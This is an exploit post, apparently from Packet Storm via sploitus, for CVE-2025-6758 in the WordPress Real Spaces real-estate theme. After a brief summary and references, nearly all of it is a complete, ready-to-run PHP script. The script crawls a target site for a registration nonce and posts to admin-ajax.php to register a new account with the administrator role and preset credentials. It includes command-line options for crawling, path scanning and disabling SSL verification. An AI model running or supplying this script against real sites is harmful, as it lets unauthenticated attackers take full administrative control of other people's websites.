Share
## https://sploitus.com/exploit?id=PACKETSTORM:216344
=============================================================================================================================================
| # Title : WordPress Real Spaces Properties Directory Theme 3.6 Unauthenticated Administrator Registration Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://themeforest.net/item/real-spaces-wordpress-real-estate-theme/8219779 |
=============================================================================================================================================
POC :
[+] References : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-6758
https://packetstorm.news/files/id/210833/
https://wpscan.com/vulnerability/12347
[+] Summary
A critical security vulnerability exists in the Real Spaces Properties Directory Theme that allows unauthenticated attackers to register administrator accounts without any authentication.
The vulnerability stems from improper nonce validation and missing authorization checks in the user registration functionality.
[+] Usage:
Usage: php poc.php -u https://example.com
[+] POC :
<?php
/**
* CVE-2025-6758 Exploit
* By: indoushka
*/
class WPRegistrationExploit {
private $defaultUsername = "indoushka";
private $defaultPassword = "123456789";
private $defaultEmail = "indoushka@gmail.com";
private $defaultPosition = "indoushkaadmin";
private $defaultRole = "administrator";
private $nonceRegex = '/registration_nonce"\s*:\s*"([^"]+)/';
private $session;
private $debug = false;
public function __construct($debug = false) {
$this->debug = $debug;
$this->session = curl_init();
curl_setopt_array($this->session, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => "Mozilla/5.0 (X11; Kali Linux) PHP/8.x helper",
CURLOPT_TIMEOUT => 15,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
"Accept: */*",
"X-Requested-With: XMLHttpRequest"
]
]);
}
public function __destruct() {
if ($this->session) {
curl_close($this->session);
}
}
private function shortDelay($min = 0.4, $max = 1.0) {
usleep(rand($min * 1000000, $max * 1000000));
}
private function log($message, $level = "INFO") {
echo "[$level] $message\n";
}
private function fetchPage($url, $verifySSL = false) {
curl_setopt_array($this->session, [
CURLOPT_URL => $url,
CURLOPT_HTTPGET => true,
CURLOPT_POST => false,
CURLOPT_SSL_VERIFYPEER => $verifySSL
]);
$response = curl_exec($this->session);
$httpCode = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
if ($httpCode === 200 && $response) {
return $response;
}
if ($this->debug) {
$this->log("Fetch failed: $url - HTTP Code: $httpCode", "DEBUG");
}
return null;
}
private function extractNonceBS4($html) {
// Simple DOM parsing without external libraries
if (preg_match('/data-registration-nonce="([^"]+)"/', $html, $matches)) {
return $matches[1];
}
if (preg_match('/<input[^>]*name="registration_nonce"[^>]*value="([^"]+)"/', $html, $matches)) {
return $matches[1];
}
// Search in script tags
if (preg_match_all('/<script[^>]*>(.*?)<\/script>/s', $html, $scriptMatches)) {
foreach ($scriptMatches[1] as $scriptContent) {
if (preg_match($this->nonceRegex, $scriptContent, $matches)) {
return $matches[1];
}
}
}
return null;
}
private function extractNonceRegex($html) {
if (preg_match($this->nonceRegex, $html, $matches)) {
return $matches[1];
}
return null;
}
private function findNoncesInJS($jsText) {
preg_match_all($this->nonceRegex, $jsText, $matches);
return $matches[1] ?? [];
}
private function collectLinks($baseUrl, $html) {
$links = [];
$baseParsed = parse_url($baseUrl);
$baseHost = $baseParsed['host'] ?? '';
// Extract anchor links
preg_match_all('/<a[^>]+href="([^"]+)"/', $html, $anchorMatches);
foreach ($anchorMatches[1] as $href) {
if (strpos($href, 'mailto:') === 0 || strpos($href, 'tel:') === 0) {
continue;
}
$fullUrl = $this->joinUrls($baseUrl, $href);
$parsed = parse_url($fullUrl);
if (($parsed['host'] ?? '') === $baseHost) {
$cleanUrl = strtok($fullUrl, '#');
$links[$cleanUrl] = true;
}
}
// Extract script sources
preg_match_all('/<script[^>]+src="([^"]+)"/', $html, $scriptMatches);
foreach ($scriptMatches[1] as $src) {
$fullUrl = $this->joinUrls($baseUrl, $src);
$links[$fullUrl] = true;
}
return array_keys($links);
}
private function joinUrls($base, $relative) {
if (parse_url($relative, PHP_URL_SCHEME) !== null) {
return $relative;
}
if ($relative[0] === '/') {
$baseParsed = parse_url($base);
return $baseParsed['scheme'] . '://' . $baseParsed['host'] . $relative;
}
return rtrim($base, '/') . '/' . ltrim($relative, '/');
}
public function scanLinksForNonce($startUrl, $maxPages = 25, $maxDepth = 2, $verifySSL = false) {
$found = [];
$seen = [];
$toVisit = [[$startUrl, 0]];
while (!empty($toVisit) && count($seen) < $maxPages) {
list($url, $depth) = array_shift($toVisit);
if (in_array($url, $seen)) {
continue;
}
$seen[] = $url;
$this->shortDelay();
$html = $this->fetchPage($url, $verifySSL);
if (!$html) {
continue;
}
$nonce = $this->extractNonceBS4($html) ?: $this->extractNonceRegex($html);
if ($nonce) {
$found[] = [$url, $nonce];
}
if ($depth < $maxDepth) {
$links = $this->collectLinks($url, $html);
foreach ($links as $link) {
if (!in_array($link, $seen)) {
$toVisit[] = [$link, $depth + 1];
}
}
}
}
return $found;
}
public function searchCommonPathsForNonce($baseUrl, $verifySSL = false) {
$candidates = [
"register",
"Register",
"register/",
"Register/",
"wp-register.php",
"wp-login.php?action=register",
"wp-content/plugins/",
"wp-content/themes/",
"wp-register.php",
"?page_id=1476",
"wp-login.php",
];
$found = [];
foreach ($candidates as $path) {
$tryUrl = $this->joinUrls($baseUrl, $path);
$this->shortDelay();
$html = $this->fetchPage($tryUrl, $verifySSL);
if (!$html) {
continue;
}
$nonce = $this->extractNonceBS4($html) ?: $this->extractNonceRegex($html);
if ($nonce) {
$found[] = [$tryUrl, $nonce];
} else {
// Check JavaScript files
preg_match_all('/<script[^>]+src="([^"]+)"/', $html, $scriptMatches);
foreach ($scriptMatches[1] as $src) {
$jsUrl = $this->joinUrls($tryUrl, $src);
$this->shortDelay();
$jsContent = $this->fetchPage($jsUrl, $verifySSL);
if ($jsContent) {
$nonces = $this->findNoncesInJS($jsContent);
foreach ($nonces as $n) {
$found[] = [$jsUrl, $n];
}
}
}
}
}
return $found;
}
private function buildPayload($nonce, $username, $password, $email, $position, $role) {
return [
"action" => "imic_agent_register",
"reg_nonce" => $nonce,
"task" => "register",
"role" => $role,
"username" => $username,
"position" => $position,
"email" => $email,
"pwd1" => $password,
"pwd2" => $password,
];
}
private function performRegistration($ajaxUrl, $payload, $verifySSL = false) {
$headers = [
"User-Agent: Mozilla/5.0 (X11; Kali Linux) PHP/8.x helper",
"Accept: */*",
"X-Requested-With: XMLHttpRequest",
"Referer: " . str_replace("wp-admin/admin-ajax.php", "register/", $ajaxUrl),
"Content-Type: application/x-www-form-urlencoded"
];
curl_setopt_array($this->session, [
CURLOPT_URL => $ajaxUrl,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($payload),
CURLOPT_HTTPHEADER => $headers,
CURLOPT_SSL_VERIFYPEER => $verifySSL
]);
$response = curl_exec($this->session);
$httpCode = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
if ($httpCode === 200 && $response) {
return $response;
}
$this->log("POST failed: HTTP Code $httpCode", "ERROR");
return null;
}
public function execute($args) {
$baseUrl = $args['url'];
if (!str_ends_with($baseUrl, '/')) {
$baseUrl .= '/';
}
$results = [];
// Try base URL first
$startHtml = $this->fetchPage($baseUrl, $args['verify_ssl']);
if ($startHtml) {
$nonce = $this->extractNonceBS4($startHtml) ?: $this->extractNonceRegex($startHtml);
if ($nonce) {
$results[] = [$baseUrl, $nonce];
}
}
// Try page_id if no results
if (empty($results)) {
$pageIdUrl = $this->joinUrls($baseUrl, "?page_id=1476");
$this->log("Auto-trying page_id path: $pageIdUrl", "DEBUG");
$this->shortDelay();
$html = $this->fetchPage($pageIdUrl, $args['verify_ssl']);
if ($html) {
if ($this->debug) {
echo "\n--- HTML snippet from ?page_id=1476 (first 800 chars) ---\n";
echo substr($html, 0, 800) . "\n";
echo "--- end snippet ---\n\n";
}
$nonce = $this->extractNonceBS4($html) ?: $this->extractNonceRegex($html);
if ($nonce) {
$results[] = [$pageIdUrl, $nonce];
}
}
}
// Scan links if still no results
if (empty($results)) {
$linkResults = $this->scanLinksForNonce(
$baseUrl,
$args['max_pages'],
$args['max_depth'],
$args['verify_ssl']
);
$results = array_merge($results, $linkResults);
}
// Scan common paths if enabled and still no results
if ($args['scan_common_paths'] && empty($results)) {
$commonResults = $this->searchCommonPathsForNonce($baseUrl, $args['verify_ssl']);
$results = array_merge($results, $commonResults);
}
if (empty($results)) {
$this->log("No registration_nonce values found. Provide a specific registration URL or increase scan options.", "ERROR");
$this->log("Tip: try --scan-common-paths or --debug to print HTML snippets for inspection.", "INFO");
return;
}
$this->log("Nonces found: " . count($results), "INFO");
list($nonceSource, $nonceValue) = $results[0];
$this->log("Using nonce from: $nonceSource", "INFO");
$payload = $this->buildPayload(
$nonceValue,
$args['username'],
$args['password'],
$args['email'],
$args['position'],
$args['role']
);
$ajaxUrl = $this->joinUrls($baseUrl, $args['ajax_path']);
$this->shortDelay(0.6, 1.2);
$response = $this->performRegistration($ajaxUrl, $payload, $args['verify_ssl']);
if (!$response) {
$this->log("No response or POST failure.", "ERROR");
return;
}
// Parse response
$success = false;
$message = '';
if (preg_match('/<div[^>]*class=["\']?[^"\'>]*alert-success[^"\'>]*["\']?[^>]*>(.*?)<\/div>/is', $response, $matches)) {
$message = strip_tags($matches[1]);
$message = html_entity_decode($message);
if (stripos($message, 'success') !== false || stripos($message, 'successfully') !== false) {
$success = true;
}
}
if ($success) {
echo "[+] Exploitation successful.\n";
echo "[+] Server message: $message\n";
echo "[+] Username: " . $args['username'] . "\n";
echo "[+] Password: " . $args['password'] . "\n";
echo "[+] Email: " . $args['email'] . "\n";
echo "[+] Role: " . $args['role'] . "\n";
} else {
echo "[!] Registration POST completed. Server response:\n";
echo substr($response, 0, 1000) . "\n";
}
// Save results if requested
if (!empty($args['save_json'])) {
$report = [
'total' => count($results),
'details' => []
];
$seenValues = [];
foreach ($results as list($src, $nonce)) {
$unique = !in_array($nonce, $seenValues);
$seenValues[] = $nonce;
$report['details'][] = [
'source' => $src,
'nonce' => $nonce,
'unique' => $unique
];
}
if (file_put_contents($args['save_json'], json_encode($report, JSON_PRETTY_PRINT)) !== false) {
$this->log("Results saved to " . $args['save_json'], "INFO");
} else {
$this->log("Failed to save JSON: " . $args['save_json'], "ERROR");
}
}
}
}
// Command line interface
if (php_sapi_name() === 'cli') {
$options = getopt("u:", [
"url:",
"username:",
"password:",
"email:",
"position:",
"role:",
"max-pages:",
"max-depth:",
"scan-common-paths",
"ajax-path:",
"verify-ssl",
"save-json:",
"debug",
"help"
]);
if (isset($options['help']) || !isset($options['url'])) {
echo "CVE-2025-6758 Exploit - WordPress Registration Vulnerability\n";
echo "Usage: php exploit.php -u <url> [options]\n\n";
echo "Options:\n";
echo " -u, --url Base URL to scan (required)\n";
echo " --username Username to register (default: indoushka)\n";
echo " --password Password to register (default: 123456789)\n";
echo " --email Email to register (default: indoushka@gmail.com)\n";
echo " --position Position value (default: indoushkaadmin)\n";
echo " --role Role value (default: administrator)\n";
echo " --max-pages Maximum pages to visit when crawling (default: 30)\n";
echo " --max-depth Maximum crawl depth (default: 2)\n";
echo " --scan-common-paths Scan common register/plugin/theme paths\n";
echo " --ajax-path AJAX endpoint path (default: wp-admin/admin-ajax.php)\n";
echo " --verify-ssl Verify SSL certificates\n";
echo " --save-json Save results as JSON file\n";
echo " --debug Enable debug logging\n";
echo " --help Show this help\n\n";
echo "Examples:\n";
echo " php exploit.php -u https://example.com\n";
echo " php exploit.php -u https://example.com --debug --scan-common-paths\n";
echo " php exploit.php -u https://example.com --username admin --role administrator\n";
exit(0);
}
$args = [
'url' => $options['u'] ?? $options['url'],
'username' => $options['username'] ?? 'indoushka',
'password' => $options['password'] ?? '123456789',
'email' => $options['email'] ?? 'indoushka@gmail.com',
'position' => $options['position'] ?? 'indoushkaadmin',
'role' => $options['role'] ?? 'administrator',
'max_pages' => $options['max-pages'] ?? 30,
'max_depth' => $options['max-depth'] ?? 2,
'scan_common_paths' => isset($options['scan-common-paths']),
'ajax_path' => $options['ajax-path'] ?? 'wp-admin/admin-ajax.php',
'verify_ssl' => isset($options['verify-ssl']),
'save_json' => $options['save-json'] ?? '',
'debug' => isset($options['debug'])
];
$exploit = new WPRegistrationExploit($args['debug']);
$exploit->execute($args);
} else {
echo "This script is intended for command line use only.\n";
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================